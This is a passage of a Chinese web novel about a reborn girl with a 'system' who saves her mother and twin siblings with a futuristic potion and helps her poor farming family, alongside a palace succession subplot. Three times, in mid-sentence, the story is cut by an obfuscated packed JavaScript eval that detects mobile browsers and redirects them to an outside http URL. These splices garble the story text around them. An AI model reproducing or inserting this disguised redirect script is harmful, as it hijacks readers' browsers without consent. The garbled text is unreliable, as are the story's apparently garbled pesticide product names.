一股劲儿凭着脑海中林二丫的记忆冲到老周大夫家,她气喘吁吁话都说不齐,“大夫,救…救命……” 林只只一只手搭在门板上,一只手撑着膝盖弯下腰来大口吐着气。 老周大夫家的孙女周兰连忙上前扶住林只只,她缓了一口气,马上把罗氏早产的事儿说清楚。 老周大夫拿了些治生产和止血的药,提上药箱,“恐怕要下雨,大郎,你带上伞随我一起去看看……” 于是众人又匆匆往回赶。 — 林家。 一些帮忙把林二郎抬回来的汉子和林家男人们在堂屋等着,林阿爷沉默地坐在上首抽着烟,脸上满是焦急和担忧。 林二郎是上工的时候不留神给摔了下来,一条腿断了,但是庆幸接上了,只要修养几个月,以后生活不是大问题。 他上工的主家还算厚道,给付了医费。 此时,林二郎杵着拐杖在西屋前,他又是懊悔又是着急,见屋子里几个嫂子来来往往也插不上话,眼眶都红了。 都怪他,要不是因为他太莽撞冲动,秀娘也不会出事儿。 “不行啊,产妇受到惊吓,何况怀的还是双胎,不足月生不下来……这是要一尸三命啊!”长兴村最有经验的稳婆发话道。 林阿奶站在罗氏床边,看着她满头是汗脸色苍白的样子,心里不忍,“钱氏,你去煮碗面来,给卧个鸡蛋。生孩子是个力气活,时间还长……” “诶……”虽说钱氏小事儿拎不清,但这种人命关天的事儿一点不会马虎,她转身就去了厨房,马氏也帮忙去烧热水。 又转头劝罗氏,“放宽心,老二没事儿。你都是两个孩子的娘了,肚子里的孩子还没有见过面呢,怎么舍得丢下这一家子。” 平时的罗氏再温柔坚毅,现在也忍不住面色痛苦地哭道:“阿娘,如果出事,要先保孩子……” “放心,不会有事儿的……”林阿奶打断她的话并没答应,只是拍拍她的手。 稳婆出声劝道:“林二娘子,来,跟着我深呼吸……呼……吸……对对,就是这样,我们先调整一下。” 虽然巨大的痛楚让罗氏直接想放弃,可是一想到自己一双还未长大的儿女还有断腿的丈夫。 她又鼓起一股劲儿,咬牙坚持着。 窗外的林二郎一听见秀娘可能要活不成了,就这么摊在地上一把鼻涕一把泪的哭了起来,林小四和三丫两个小萝卜头一见阿爹/二叔哭的这么伤心,也跟着嚎起来。 一时间,屋里的哭声响彻一片,传出老远。 正深一脚浅一脚带着老大夫和他孙子往家里赶的林只只还没到家呢,就听见从自家院子里传来的哭声。 她心里一个咯噔,腿差点就软了下去。 “快点,大夫……”还不清楚具体情况怎么样,林只只只能更焦急的拉着老周大夫。 一冲进院子,还没有看清楚窗外站着的她爹,还有来来往往的人都是些谁,她就把大夫给送进屋子里去了。 要不是三伯母拉她一把,林只只只怕也等不及的跟着进去了,“诶,你一个小孩子就别进去添乱了,看着点弟弟妹妹,啊……” “哗啦啦……”蓄势已久的大雨终于落了下来。狂风夹着暴雨,将窗子拍打的呼呼作响。 林只只听着屋里罗氏痛苦的嚎叫声,把林小四和三丫带到怀里细心安慰,他们还只有四岁,虽然不知事,但也懂得看大人的脸色了,沉重的氛围让他们心悸,害怕得大哭起来。 林只只不知,离她所在地商州不远处的都城长安同样风雨飘摇。 ? “驾……驾……”一阵紧促有力的马蹄声在空无一人的官道上尤为清晰,骑马人并不顾突来的大雨,一心奔驰。 皇城内,宫女太监们小心翼翼看主子脸色来行事,大气不敢出,生怕犯了事儿落得个打杀的下场,尤其是在这个风雨欲来的时候。 “逆子!他这是想做什么,朕还没死呢……”太和殿内传来杯子摔碎的声音,紧跟着一阵咳嗽声。 当今皇帝一脸病态的模样坐在椅子上,捂着嘴,朝伸手过来想替他抚背的俞贵妃摆摆手,“不必。” “陛下,你可要保重身体啊!齐王说不定也是一片孝子之心……”俞贵妃担忧地劝着皇帝。 “哼……他安没安好心,我这个当爹的还不知道?”皇帝冷笑一声。 原来是太子前几天病逝,皇帝大受打击如今也突然病重,几个儿子便蠢蠢欲动,打着进京送别大哥和为父尽孝的旗号想要争权夺利。 皇帝心里有数,到了这个地位,谁又能真的无欲无求,只不过看着这些也是自己疼大的儿子们如此行事,也不住地心寒。 “你先下去吧,让朕一个人静一静。” 片刻过后。 “是,臣妾告退。”俞贵妃轻手轻脚地退出大殿,身边的一个小太监瞧见她使过来的眼神,不着痕迹地退下,拿了牌子出宫去了。 “混水捞鱼,在这污泥之中,谁又能真正出淤泥而不染呢?”俞贵妃叹着气,由着身边宫女的搀扶回到宫里去了。 一座宽阔的府邸之中,华服男子冒着雨推开一扇门,还未看清楚人便急急行礼:“父亲,姑姑差人来信说,齐王请旨择日入京,那我们……”他犹豫不决地看向长桌后的老者。 坐着的人虽一身布衣,但气势如虹,即使不说话也让人心里发怵,想要折服。 老者没有接来人的话,而是自顾自的言语:“如今本朝才建立不过二十余年,才结束乱世,休养生息。太子病逝,少不得一场腥风血雨。” “权势迷人眼啊!这背后又是哪些人的手笔……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024930|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个位置谁又不觊觎,老者这番话俨然有怀疑侄子之心。 “父亲!天下为重啊……”华服男子看着虽然才五十出头,但早已两鬓斑白的父亲,双眼含泪,朝着他一揖到底。 “既如此,你将小二送走吧,去商州,那里是长公主的地盘,他们不敢伸手。”老者最后长叹一口气,希望事情还在可控范围内,若不行,至少保下一滴血脉。 “父亲,何至于此……”华服男子诧异的目光转向老人。 “哎,皇权之争向来决绝,走上这条路就回不了头了……人心难测,我希望你能记住。”老者不为所动的坚持,一副闭上眼睛不再听劝的样子。 半响之后,“是……”华服男子不忍的向老者行礼表示了屈服。 雨越下越急,织成了一张硕大无比的天网,从云层一直垂到地面,抽打在地面,雨飞水溅,迷光漾一片。 已经快到晚上了。 帮林二郎回来的几个人已经走了。产房里的动静已经逐渐小了,可孩子还没有生下来,罗氏要坚持不住了。 就在林只只担忧不已的时候,一阵微弱的啼哭声从房间里传了出来。 “生了生了,是个大胖小子!”稳婆欢喜地喊道,守在门口的林只只忍不住踮脚去看,她一阵眩晕,眼前这个皱巴巴的干瘦小孩儿,哪里算得上胖小子? 罗氏本才怀孕不到八月,又惊吓生产,孩子哪里会健康。 林二郎看见房门终于打开,顾不上看孩子,连忙往里探头,“秀娘怎么样了?” 稳婆草草把孩子给大家看一圈,又裹好交给林阿奶了,“肚子里还有一个呢……”林只只透过人群只能模糊看到老周大夫在给罗氏扎针。 不到半刻钟,另一个孩子被包好抱了出来,不足月的孩子又是双胎,哭声弱得像小猫一样。 老周大夫净手出来,林二郎便着急冲上去,“大夫,我妻子怎么样呢?” 老周大夫脸色不虞,对着一瘸一拐的林二郎微摇头,“孕妇情况不好,动了胎气早产,又是双生子……” 还没有说完,林二郎“碰”地一声跪了下来,“大夫,我求求你,一定要救救她。我给你磕头,我以后一定当牛做马报答你……” 林只只看着林二郎痛哭流涕的样子,心里发酸,虽然她与罗氏相处的时间不长,但是也喜欢上了她温温柔柔的样子。 “我给她再下一副药吧,如果没有大出血,熬过今晚就没事了,以后好好养着……”老周大夫耐心地回答,他怜惜着看着这一屋大小。 这句话不过是安慰,女子生产便是一脚踏入了鬼门关,何况眼下这种情况。便是宫中的太医来了,也已经无力回天。 剩下的就只能看命了。 虽然生了双胞,大家脸上并没有多少喜色,林大郎他们沉默不语,几个孩子被哄回了屋免得添乱,钱氏她们去煎药了。 林阿爷从匣子里拿了诊费给大夫,“老大,你送周大夫回去……” 老周大夫接了诊费,由大孙子扶着朝他们摆摆手:“不必送了,天色已晚又下着雨,告辞了。” 说着两人便回头撑着伞走了。 林阿奶已经给稳婆一个红封打发走了,如果产妇死了,也算不上什么大喜事,这么小的孩子活不活的下来也不好说。 稳婆也没有说什么恭喜的话就回去了,临走还叹气。 本来家里添人口是件大喜事,如今却是这幅局面。 5. 第5章 东屋只剩下林只只一家人,林二郎正蹲在罗氏床边握着她的手,“秀娘,你现在怎么样?都怪我不好,让你受苦了。” 明知道她怀着孩子都要生产了,还让她受了惊吓,林二郎眼睛通红。 林小四哭得眼睛都肿了,他努力仰着头看向罗氏,“阿娘,你快看弟弟妹妹,他们好小啊,你要好好的。” 虽然才四岁,他已经很懂事了,知道什么是死亡。 罗氏刚醒来,脸色苍白但还是很温柔的看着眼前的孩子们,“二郎,我想看看孩子……” “诶!”林二郎努力忍着不让罗氏看见自己的悲伤,将两个孩子抱到她身边。 罗氏看着刚出生像小猫一样大小的一双儿女,嘴角缓缓露出笑容。 一直在状态之外的林只只脸上此时却终于有点喜色,从下午出意外开始,她就一直在试图唤醒系统,可惜一直没有回应。现在终于系统有反应了! 【宿主……】 林只只没有废话,直接单刀直入,“有没有可以救我阿娘的办法!” 系统默默扫描了一下罗氏的身体,犹豫道:【宿主母亲的身体情况现在很差,以您所在朝代的医疗水平,已经药石无医了……】 林只只冷静的打断了它的话,“我知道,但是你不一样。” 最后系统还是叹息了一声,建议地说:【现在只有一个办法,宿主可以去交易所上发布任务,未来有一种修复药剂,可以最快速高效的解决您当下的问题。如果不够积分,我可以先借给宿主。】 交易所里的帖子是宿主根据自身意念发的,给予或者索要的报酬也都是随宿主心意。 这个价格当然也是林只只来定,但是按照市场价她定得太低肯定没有人接就是了。 清楚了解林只只现在的财产状况,所以系统只能无奈出此下策。 听见还可以先预支,林只只立马答应了。同时,她现在赚积分的想法越发强烈,实在不想再遇到这种束手无策的情况了。 “你觉得定多少合适?”林只只不清楚这个价格,直接问清楚,省得去抬价。 【三万积分吧。】 “好。”林只只不假思索地回答。 【宿主,任务发布成功了。】 系统心里默默打着算盘,哦豁,这下真的负财产了。 现在每一秒时间流逝都艰难无比,空气之中弥漫着焦躁不安的情绪,偏林只只这时大脑无比清醒,她冷不丁问系统:“我是怎么来这里的?” 系统似乎划过几声“滋啦”的电流声,为她的敏锐惊讶,不过到底没有隐瞒,【我来自星际主脑中的子系统,将去往各世界完成任务。投放过程中遇见了空间风暴,裂隙中捕捉到一丝灵魂,就是宿主,于是签订了合作契约……】 系统将过程相当简化了,并没有解释什么星际和任务,林只只有些发懵,“签订契约?我怎么没印象。”她这是被打黑工了? 【当时情况紧急,我拼尽最后能量才护住咱俩的灵魂,然后逃出风暴……】 “投生到了这鸟不拉屎的古代……”林只只终于知道发生了什么,语焉不详地接话说,“所以我还有着前世的记忆。所以我们是什么时候来这里的?” 系统最近的醒来和她的“醒来”肯定有所关联。 虚空遥看着林只只清透的双眼和支着下巴出神的模样,系统弱弱道:【从你出生。】 【因为我的能量耗尽,不得已采取一些紧急措施,近来才恢复正常。】他们才是真正一荣俱荣,一损俱损。 “所以,我做了六年的傻子?”虽然不知道系统做了什么,但是林只只心里警铃大响,它竟然能影响自己的智力和记忆力。 “林二丫”虽然不聪明,不过也只是正常六岁小孩的表现,怎么就是傻子了? 像是洞悉宿主心中所想,系统略带机械化的声音解释:【星际系统最高原则为人类服务,触发底线将被彻底抹杀】 林只只收敛心神,只心下大哀:“突然觉得自己新手大礼包要少了。” 系统一囧,没有办法,他们现在是真的很穷哇。 它是在投放过程中遇到空间风暴,意外到这里来的,如果想要回去,需要付很大一笔的积分打开空间通道。 更是不得已匆忙之下绑定了林只只,因为她是自己当时检测到附近最近的“人”,可惜本身和这个世界条件太差了,它为了能早日回去,只能偷偷补贴挪用“公款”了。 如果将来她死了,自己积分还没能攒够,就只有流落星际,落得个数年之后报废的一个下场,它们这种报废就和人类的死亡没有什么区别了。 还好,这次宿主应该是体会到赚积分的好处了,如果她能努力赚积分,自己也不算太亏。 就在一人一统心思各异之时,脑海中清晰响起“叮”的一声。 【宿主,药剂到了,一共花费了五万积分。】这种药剂在未来虽然不常见,但也不难得。 林只只一愣:“不是三万吗?” 系统耐心解释:【距离太远,科技相差太多,需要给主系统上缴科技费和快递费,宿主是否接受?】 虽然肉疼这科技费都够再买一瓶了,林只只还是咬牙买了下来,毕竟她不能不要啊! 在她仔细打量话音一落就出现在空间里的棕色药剂时,林阿奶端着一碗褐色的药汁进来了。 林只只上前接了过去,见林阿奶哄着林小四今晚歇在她屋里,林二郎他们看着孩子,都没有关注自己。于是她悄悄的把药剂倒进了碗里,但是想到刚出生的两个婴儿,或许可以试着给他们也喝一点就留下了一部分。 她轻轻晃动药碗将其混合均匀,好在光线昏黄,也看不出什么不同。 林只只把碗递给了罗氏,看着她喝进去了,心里终于松了一口气。 “阿奶,我来看着弟弟妹妹们吧,阿爹还要照顾阿娘的。”林只只拒接跟林阿奶回房去睡。 林阿奶看着罗氏一个病人还下不来床,林二郎腿脚又不方便,就勉强同意了林只只的要求,又嘱托儿子,“要是有什么,你就叫我们……” 她没有明说罗氏会不好的话,怕她自己太忧虑反而不利病情。 “诶,阿娘,你去休息吧,这里有我呢。”林二郎摸了摸林只只的头,带笑地看着她。 罗氏也抿着笑看向林阿奶:“今日多谢阿娘了。” “一家人不说两家话,你现在最重要的任务啊,是把身子养好。”说完,林阿奶也抱着林小四出去了。 喝了药一会儿,罗氏刚想要说什么,却觉得胃中有浅淡的暖意散开,接着一股温凉之气攀至肺腑。 先前的格外费力的呼吸倏然就通了,那股一直缠绕的缺氧乏力感慢慢恢复。 她奇怪地看了一眼林只只,只不过林只只低着头看不清神情。 罗氏最清楚自己的身体了,现在不过是强撑一口气罢了。 可是喝了那副药之后,她感觉自己身体是前所未有的舒畅。不过最后她把那些话咽了下去,什么也没说。 林只只观察到罗氏的脸色不像刚开始那么惨白了,也有心情看看自己的弟弟妹妹了,她趴在床边,逗着小孩儿玩。 林二郎见大女儿逗孩子,忍不住凑过来,“你看,四丫像你娘,生的好看。” 林只只并不觉得才出生的孩子就能看得出长得像谁,并且对她爹最后一句“长得好看”甚至可以理直气壮地反驳。 只不过看着她爹一脸憨笑地看着她娘,而她娘也忍不住娇羞的瞥了她爹一眼,林只只没敢把心里的话说出来。 她有些尴尬的挠了挠头,所以自己这是吃了一嘴狗粮了啊! 哼哼,谁说老实人就不会说情话了,她爹看起来就凶残得很耶。 林家人一晚上都在担忧与安静的诡异氛围中度过,好在相安无事。大家并不知道是林只只的药剂起作用了,还以为是老大夫开的药好。 全家也许只有林只只一个人敢睡个安心觉。 第二天鸡刚打鸣没多久,院子里就有了声音,林家人见罗氏的脸色变好,才真正有了喜色。 而此时的林只只翻了一个身,拱着小屁股钻进被子里继续睡觉。 过了一会儿,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024931|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又顶着一头乱发迷茫地爬起来,唉,不行,发家致富任重道远啊,怎么可以这么惫懒。 她爹已经不见踪影,罗氏因为昨天太累了所以现在还在睡,她轻手轻脚地翻出来下了床。 反正又没人,林只只又偷偷摸摸把空间里的药剂拿出来一滴一滴的喂给孩子们喝。 刚出生的小孩儿很弱,根本不知道吞咽,她生怕浪费了这么贵的药,一直在内心祈祷,“乖乖,你们可不能浪费,都给我喝了啊!”。 不知是感受到林只只的诉求还是药剂的特殊,两个婴儿倒也一点点吞进去了。 做完这一切的林只只装作若无其事的样子出了门。 农家人一向早起,就算秋收结束了,那地还得休整,除去整地的,还有出去堆肥的,要为来年种地做准备,太小的孩子只能留在园子里拔草。 因为腿脚不方便,院子里只剩下林二郎在劈柴,这是个力气活,尽管已经是凉爽的秋日,他还是满头大汗。 这是家里准备过冬的木柴,平时孩子就会负责山上捡木柴和把劈好的木柴抱到窝棚里。 今天就轮到林只只大哥和二哥去山上捡柴了。 发现他们背着背篓拿着绳子马上要出门的林只只马上跑上前去,“大哥,我也想去……” 林小二回头看着这个瘦小的妹妹,打趣道,“我们可是要去深山,你走不到可不许耍赖哭鼻子啊!”他可最怕哄女孩子了。 小周山浅处的柴都被捡的差不多了,大家就会往深处走了。 听见可以往深处去了,林只只反而眼前一亮,她不能说服二哥,那就拉着大哥的袖子使劲撒娇,“大哥,就让我去吧!我保证不会捣乱。” 院子里的林二郎无奈的看着门口的动静,他一向宠爱孩子,看见林只只那眼巴巴的样子。 于是开口笑,“你们就带她去吧,要不然她会一直缠着。”又转过头叮嘱林只只,“你要听话,不要乱跑知道没?” 林仁今年十二岁,已经是半个大人了,听见二叔让他带林只只去,也只好答应了,平日里这个妹妹反应很迟钝,也不爱跟他们玩,他不理解林只只为什么变化这么快。 林只只心里雀跃,立马提脚跑出们,把两个哥哥甩在身后。 林小二瞧见,也马上去追她。林仁看着他们笑着摇摇头,不明白捡柴这么平常的一件事为什么这么兴奋。 一行人就这么打打闹闹的到了山里。 山林茂密,加之昨天才下过雨,很潮湿,路并不好走。也是乘此便宜,倒是叫林只只发现了不少好东西:长在树桩上的野生木耳! 木耳乌黑光润,片大均匀又肥又厚,几乎布满了大半个树桩子,她捡大的摘了。 这一片显然被村民伐过,诸如此类的树桩不少,长出来的木耳也多。 一片片地摘过去,没一会儿筐子便沉甸甸的了。 两个少年在不远处砍下一些大点的枝丫装好,也没有注意到妹妹越走越远。 片刻之后,他们听见林只只的叫声,还以为发生了什么意外,飞快地跑过去,结果过去就看见她还好好的蹲在那儿。 林只只眼睛亮晶晶的道:“大哥,二哥快来帮忙,我找到一个好东西了。” 林家两个哥哥走上前,看到她手里捧着的长满锐刺的果子,颇有些一言难尽,“这不就是毛壳子吗,这一片地上随处可见。” 林小二见林只只目露谴责,一脸“你竟然不识货”的表情,有些茫然地挠了挠头,“我们以前也捡过,这外面一层长满短刺,里面是褐色的种子,没有什么味道的,一点也不好吃。” 林只只了然了,穷人家的小孩儿可能是没吃过,“这个叫板栗,外面这层深褐色的是壳,成熟时呢裂为四瓣,每壳斗有两到三颗坚果。” 她打开手里的栗子给哥哥们解释看。 “瘐信云秋林栗更肥,方回云擘黄新栗。”林只只前世每年秋天都会买着吃一点,现在回想起来真是口齿生香,回味无穷。 唉,恍然如梦。 林只只觉得这段时间叹气的次数加起来比她上辈子还多了。 6. 第6章 “嗯,板栗有很多种吃法,蒸好的栗肉酥松甘甜,软糯入口即化。” 听见林只只的描述,林小二只觉得活灵活现,让人忍不住咽口水。 林仁反应过来,“我以前倒是听说过糖炒栗子,和炒松子瓜仁一般得七八十一文一斤呢……” 正在臆想尝尝的林小二一听见这话,叫了一声:“啊?这么贵……” 他又看向这附近已经掉在地上的,和树上还挂着的这么多板栗,忍不住叉腰“哈哈”大笑了两声,“我们这是要发财了啊!” 林只只看着林小二猖狂的样子,她也学着一样哈哈大笑两声,没错,她快要发财了! 连一向沉稳的林仁也忍不住激动开心,于是兄妹三人柴也不砍了,如风卷残云般,把地上的板栗捡了个干净。 整整三个背篓!林只只抬头望着眼前起码要有十米以上的树,踌躇道:“我们还是回去叫大人们来吧,这也太高了!” 见时辰也不早了,三人背着板栗就回去了,好在路上也没什么人了,并没有谁看见,不过为了保险,他们还聪明的在上面盖了一层草。 回到家,林家人也都准备吃饭了。 钱氏看着几个孩子背着几背篓草回来,震惊得话都说不出来。 林阿奶奇怪地打量他们,如果是林小二,还能是贪玩最后扯点草糊弄一下,当然也免不过一顿揍,可是稳重的林仁也去了,断不会如此。 林仁刚才被喜悦冲昏了理智,现在在林家人的集体注视下,也反应过来了。 虽说林只只认出这是板栗,可从来没有人吃过,那万一不是呢? 当他犹豫着要怎么说时,林只只已经快步走过去一把揭开草,把板栗拿出来给大家介绍,“阿爷阿奶,你们看,这是板栗,可以蒸或者炒着吃……” 她喋喋不休的话让大家一愣一愣的,就在大家面面相觑不知道说什么的时候,林阿爷拿过去翻来覆去的看了看,“这的确是板栗……不过,你怎么认识?” 林只只一身冷汗的对上林阿爷疑惑和审视的目光,完了! “我以前在林虎大叔家,盈姐姐给我尝过……”林只只只能支支吾吾急忙找个借口。 但是她这个借口漏洞百出,不说即使是比较富裕的林虎家闲时也不会买这种炒货吃,那以前的林二丫和他家的孩子关系也算不上亲密。 但是林阿爷只是点点头,深深的看了她一眼,像是相信了林只只的说辞。 此时的林只只却后怕不已,看来以后还要找可信一点的借口了,说不定某天冷不丁的就被当成妖怪给烧死了咋办? “对了,阿爷,我们还在山上采了一些木耳。”林只只马上转移话题。 “嗯,到时候晾干了拿去卖也行,先吃饭吧,等会儿再说。”最后还是林阿奶的话打破了僵局。 林家饭桌上,大人们的气氛有一些沉重。 而小孩子们全然无知,林义还冲林只只和林仁挤眉弄眼,用眼神询问等下谁来说山上还有不少板栗的事。 秋收过后再一个月就要缴税了。 刚才村长把每家的劳动力叫去交代了,毕竟作为一村之长,督促缴税也是他的责任。 林阿爷对老三道:“明天你去城里,背一袋粮食去,换一些钱回来,家里得留一些钱了,现在家里有两个人吃药呢。” 林二郎摔了腿,虽然并没有那天报信的人说的那么夸张,但主家只结了工钱并没有给赔偿。 罗氏难产时也花了不少钱,现在他们俩喝药一共都要二十八文一副,还是最便宜的了。 林三郎低声应下。 林家这几年并不好过。 这几年天气风雨不调,导致地里收成不好,每年的赋税沉重,几乎耗尽几年的积蓄。 加上家里的孩子多,这也是要缴税的,这叫“口钱”,偏又成年的少,所以分的地也少。而林阿爷只是童生,只能免除差役,还达不到免税的层级。 林阿奶趁机道:“家里也攒了不少鸡蛋了,老三家的,留一些给老二家的每天早上蒸两个,其他的明天拿去换点别的东西。” 林只只终于在两个哥哥的眼神胁迫下,准确说是林义的“胁迫”,林仁只是冲她“温柔”的笑了笑。 “阿爷阿奶,我们在山上发现的板栗现在还有好多,听大哥说,一斤栗子有七八十文呢!” 林只只这次聪明的把林仁拉出来当了挡箭牌。 桌上的其余人刚才还不在意,现在却震惊了。 他们几个小孩儿开始背回来好几背篓呢,虽然林二丫的背篓小,那得好几十斤了吧! 林阿爷这才提这件事,“没错,山货难得珍贵,但是平常人也买不起。老大老三,你们下午和几个孩子去打一些回来卖到县城酒楼里去试试看。” “阿爷,我们也想去县城!”林义长这么大还没怎么去过县里玩呢。为了向威严的阿爷提出要求,他把兄妹们都给“算上”了。 “不行,带着你们这么多人多麻烦。大人们要带那么多东西,哪里有时间照看孩子。”林阿爷想也没想就直接拒绝了。 “阿爹,就让他们去吧,明天我们有粮食和板栗,还有这几天存的竹编鸡蛋也得卖了,我们推板车去……”林三郎看着几个孩子说道。 林义此时却狠狠“瞪着”几个兄妹,怪他们一点都不义气,林只只和林仁没有理会他,剩下几个也默默低头吃饭。 但是他们都竖着耳朵等阿爷说话呢,他们也想去啊! 还是林阿奶同意,:“明天把二丫以上的几个孩子都带上,老大家的,你也跟着一块儿去,看住几个孩子就行。” “诶。”钱氏脆脆地应了一声。谁不想去呢,秋收一阵忙,现在也能松活一下。 林阿爷把一切都看在眼里,没有在意他们的小动作,正好把粥吃完了,放下碗道:“行了,既然决定好了,就准备准备,该干什么就干什么去吧。” 下午,林只只就没有再上山了,是林大郎和三郎带着林仁林义去的。 成丁除却每人两石粮,还要纳绢二丈,绵三两,产布之乡纳布二丈五尺,麻三斤。 昨天林家男人们已经把麻给割回来浸泡了一天了。 所以他们还得把麻打出来,还要织成布,一个月后就得上缴纳税的。 林只只在堂屋旁边那间房见过织麻布的机器,她只能说,实在是……太古老了,反正她没见过。 今天他们要将成熟的麻皮放在清水里淘洗干净,然后捞出,再用麻刀将麻皮上的麻丝刨出,最后将麻丝晒干。 这种需得手拿着特制的刮刀一点点剥,这种工作最是繁琐,大家干得是苦不堪言。 当然只有小孩子们这么想,钱氏和马氏她们都已经习惯了,以前没嫁人的时候,打麻这种工作都得她们干呢,除了今天,林家这种活都是男人家干的。 “效率太低下了。”林只只心里暗暗想。 她坐在小凳子上和大丫一起剥麻,这种机械性是工作有点无聊。于是她直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024932|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一心二用,把一部分心神放在了系统交易所上。 “负婆”林只只现在迫切希望赚到积分,快速浏览那些问答贴,终于她眼尖地发现一个帖子! “问:番茄生长期间有这种大量的虫该怎么办?(附带一张图)——悬赏积分两百” 林只只点开照片,雀跃不已,这不就是棉铃虫嘛?实属番茄种植路上一大祸害,这是自己的拿手领域啊! 她在心里打了一下腹稿,就开始回答:“建议题主两个办法: 第一,棉铃虫喜欢产卵在嫩芽上,注意及时打杈打顶和摘除虫果。 第二,药剂防治。在幼虫孵化盛期,选用百分之三十的触倒乳油、百分之十五阿维毒乳油一千到一千五百倍液于晴天下午四时以后或阴天喷雾,隔五天再喷一次。” 回复以后并没有什么动静。 【宿主,需要对方确认接受并验证以后才算任务完成。】 林只只脱口而出,“那要是对方想要白嫖咋办?” 系统有些无语,但还是认真地回答林只只的问题,【宿主可以三天以后申请官方介入,如果官方判断您的回答合理,对方将受到双倍处罚作为补偿。】 “原来是这样,”林只只话还没有说完,就又突发奇想:“按理说,这种知识在我们那个年代已经算是免费获得的了,为什么还有这种拿着钱问的呢?” 系统默默吐槽,你是十万个为什么吗?这么多问题…… 【因为位面不同,科技所发展的程度也是不同的。所以这样的问题很正常……】 就这样,一人一统在你问我答中,林只只又挑着回答了几个问题。 连几个积分的“简单”问题也没有放过,比较蚊子再小也是肉啊!她现在穷得哪有理由嫌弃。 干活的时候时间总是过得飞快。等上山捡栗子的几人回来了,林只只她们的麻却还剩大半呢。 林三郎掂着背篓给林阿奶他们看,“我们把附近几棵树下的都捡干净了,看差不多就回来了,放心吧,后山绕着回来的没人看见。” 大家新奇,又把先前林只只他们背回来的算上一起称,竟然一共有二百一十斤! “那如果我们卖七十文一斤,那就得……”马氏一拍手道。 “一万四千七百文!”林仁抢答道。 大家刚才已经有心理准备了,但此时还是被惊了一下,钱氏沉思片刻道:“这啥板栗这么挣钱?” “不是的,大伯母,七十文这是卖糖炒板栗的价格,我们是生板栗,不值这么多的。”林只只也有些遗憾,但想到毕竟这是白得的钱,也就知足了。 “那我们也炒着卖呗!”马氏又接口道。 林只只不赞同的看着他们,掰着手指算给他们听,“这样不合算,炒栗子要手艺,得好吃别人才会买吧;要锅和工具才能炒,这得贴本钱,我们家又不长干,划不来;而且还得找地方卖啊、现炒吃起来才香……” 大家愣愣的看着林只只眉飞色舞地说着。 林阿奶皱眉。 钱氏和马氏小声嘀咕,“好像有点不一样了。” 好在最后林阿爷拍板,“明天先把这些拿去卖了再说吧,先给剥出来……” 主要是他知道这种金贵东西,市场并不广,能卖多少就全看运气了。 完了,林只只悲催的看着自己的手,才剥了不少麻,这是出了虎窝又入狼窝啊! 最后林只只一身疲惫地回到房间,她现在只想沾着枕头就睡。 7. 第7章 罗氏正在坐月子,所以平时都在房间里单独吃饭,她此时正在喂孩子。 看见林只只进来一副累坏了的样子,朝她招招手。 罗氏刚喝过药,精神好了不少。 “二丫,来。”罗氏从床头的匣子里拿出几条手帕来,“这是阿娘这几天攒的,你明天拿去县城卖了买点东西回来吧。” 林只只走上前接过来摸了摸,不像麻那么扎手,反而像绸布,但是又没有那么细腻。右下角处绣着花,寥寥几针却活灵活现。 罗氏发现最近的林只只好像突然长大了,以前的她也懂事,现在却多了一份儿灵气和聪敏。 “我知道了阿娘。” 林只只趴在床边看着床上并排躺着的双胞胎,红巴巴的脸长开了一点,大概太瘦弱,他们并不爱动,也不闹腾,乖得很。 一瘸一拐进来的林二郎看见林只只眼珠子不转的盯着弟弟妹妹,他走上前轻柔的摸了摸她的头。 “二丫喜不喜欢弟弟妹妹?当然就算阿爹阿娘有了其他孩子,还是会一样疼你的……” 罗氏也附和地点点头。 反而林只只有些不好意思了,他们不会以为自己会吃醋了吧? 但是……这样的感觉也挺不错的,前世外婆走后从来没有人这样关心过她。 林只只从来没有跟父亲母亲相处过,她鼻头微酸,突然扑到罗氏怀里,说道:“阿娘,我以后一定会赚大钱让你们过上好日子,到时候让其他人都羡慕你有一个好女儿。” 这时林小四突然从旁边窜了出来,说道:“阿娘,我以后也会赚大钱,到时让他们都羡慕你有一个好女儿。” 林只只嗤笑一声道:“小四怎么变成了一个小女孩啊?” 罗氏和林二郎也噗嗤一声笑了出来。 林小四这才反映过来自己说错了,急道:“是羡慕你有一个好儿子,好儿子,阿娘。” 罗氏看林小四急得直跳脚,就安抚道:“是好儿子,好儿子,你是阿娘的好儿子。”她把两个孩子搂在怀里,一手轻拍着他们的背,低声哄道。 林只只看着笑闹的亲人,她觉得这一世有这样的家人真好。 ? 第二天天还未亮,林家人就收拾好东西准备出发了,带着这么多东西去县城要走差不多一个时辰呢。 林只只是一行人中最小的,她被抱到板车的箩筐里坐着,“还早,二丫先睡一会。”大伯父笑着说。 起得太早还迷糊的林只只又睡了过去,等她醒来时天已经微亮。 